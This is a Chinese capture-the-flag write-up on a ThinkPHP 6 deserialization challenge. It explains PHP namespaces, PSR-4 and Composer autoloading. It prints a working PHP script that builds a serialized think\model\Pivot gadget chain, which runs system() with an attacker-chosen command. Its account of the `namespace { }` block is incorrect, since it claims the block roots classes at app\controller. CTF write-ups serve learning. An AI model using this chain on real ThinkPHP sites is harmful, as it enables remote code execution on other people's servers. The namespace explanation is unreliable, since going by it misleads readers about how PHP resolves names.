对thinkphp反序列化路由的理解
打开题目,是一道源码泄露+反序列化+thinkphp的题目,那不用说了,直接目录开扫,扫到了一个www.zip,
想必就是源码了,打开直接进去查看主页代码
好的面对主页代码毫无思路,看来是用thinkphp的nday了,不过工具都是thinkphp5版本的,这道题是6,那就直接百度搜索吧,https://www.cnblogs.com/0daybug/p/16151797.html
直接用脚本生成payload
<?php
namespace think {
abstract class Model
{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = '')
{
$this->lazySave = True;
$this->data = ['whoami' => ['ls /']];# 这里需要自己进行更改!!!
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami', ['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace {
echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
注意,这里由thinkphp的路由,所以要用到主页文件里test类的话路径要用index/test
相信看到这里还是对于这个反序列化注入还是非常模糊,不知道这个payload是怎么来的,我也一样,不过在经过了一天时间和38元的chatgpt的帮助下,终于让我理解了这题的原理,接下来我一个个来说。
先抛出第一个问题,就是明明这个__destruct() 方法没有在主页文件下,为什么靠主页文件的反序列化能访问到远在他乡的vendor\topthink\think-orm\src\Model.php下的__destruct()呢?
原因就是命名空间namespace和引用类 use (命名空间)\(类)的利用。
命名空间:一种在PHP中组织和封装相关类、接口、函数和常量的机制。PHP命名空间的主要目标是解决代码中相同名称类或者函数之间的冲突问题。**PHP通过引入命名空间,允许代码库有相同名称的组件,同时将它们区分开来,这样不同库或框架不会因重名而引起不必要的冲突。**命名空间的逻辑结构通常与文件系统路径一致。
假设有两个类(ClassA和ClassB),都实现了一个名为Logger的接口。这两个类位于不同的库(Library1和Library2),可以使用命名空间来避免名称冲突。
// Library1/Logger.php
namespace Library1;
interface Logger {
public function log($message);
}
// Library2/Logger.php
namespace Library2;
interface Logger {
public function log($message);
}
每个库都有Logger接口定义,但它们位于不同的命名空间中。在其他文件中引用这些库时,需要指定命名空间:
// index.php
use Library1\Logger as Logger1;
use Library2\Logger as Logger2;
class ClassA implements Logger1 {
public function log($message) {
// 实现Library1中的Logger接口
}
}
class ClassB implements Logger2 {
public function log($message) {
// 实现 Library2 中的Logger接口
}
}
在这个例子中,我们通过use语句引入了两个来自不同库的Logger接口,并使用别名(Logger1和Logger2)避免冲突。
然后我们来看看model.php文件
可以看到这里面定义了一个命名空间为think且类为Model的class
那按道理来说这个主页文件是不是就要引用到think\Model才能引用到Mode.php下的__destruct,但是主页文件这里并没有而是只引用到一个主控制器里的类,那接下来就要说到另一个东西了,PSR-4 规范,它定义了一种基于命名空间的自动加载规范,用于解决 PHP 应用程序中的类文件自动加载问题。
PSR-4规范的详细说明:
1.命名空间必须与绝对文件路径一致。
2.命名空间的根路径必须映射到一个或多个基础目录。
3.每个命名空间前缀都必须有一个基础目录,其中命名空间前缀是命名空间的顶级名称。
4.在类名最右侧的命名空间分隔符后添加 .php 后缀,与相应文件名匹配。
例如,Foo\Bar 命名空间的类 Foo\Bar\Baz 应该被放置在 Foo/Bar/Baz.php 中。
5.在同一个文件里只能定义一个类。
6.所有类都不能使用 '_' 作为命名空间分隔符,而是必须使用 ''。
而要使用这个psr-4规范,可以使用Compose这个php管理工具或是其他的脚本,如果用这个工具的话就需要配置composer.json里的内容来配置psr-4
在composer.json 文件中找到这部分内容:
可以看到,**此处定义了命名空间 think\\对应的基础目录。也就意味着对应的基础目录的类是共享的。其中 "think\\" 对应到了 ThinkPHP 框架所在的目录 vendor/topthink/framework/src/,这个命名空间所包含的类无需进行 use 引入就能直接使用,因为它已经被 composer 自动帮我们引入了。所以这也就是为什么index.php能引用到think\Model类的__destruct方法的原因。**
那接下来说一说这个payload最后一句话为什么要用namespace{}包起来
**首先我们要知道被namespace{}包起来的语句的含义,就是会引用当前命名空间作为命名空间的根目录给涉及到命名空间的类作为根目录命名空间**
像是这里他的命名空间根目录应该是app\controller,如果被包起来了,那么echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));就会引用app\controller作为命名空间根目录,也就是说是相当于
echo (urlencode(serialize(new app\controller\think\model\Pivot(new app\controller\think\model\Pivot()))));
那如果不加namespace{}会怎样呢
那命名空间类就会默认引用全局命名空间来当作命名空间的根目录
也就是echo (urlencode(serialize(new \think\model\Pivot(new \think\model\Pivot()))));
think\model并不是在全局命名空间下的而是在app\controller下的,所以这里必须要加namespace{}
那么在这个payload的开头也是同理
namespace think {
abstract class Model
......
}
这里namespace think的意思是为{}里面语句的类提供一个命名空间根目录app\controller\think
到这里就对这个payload理解差不多了,剩下的就是普通的反序列化了,这里就不多做阐述了,还有任何问题欢迎向我提问。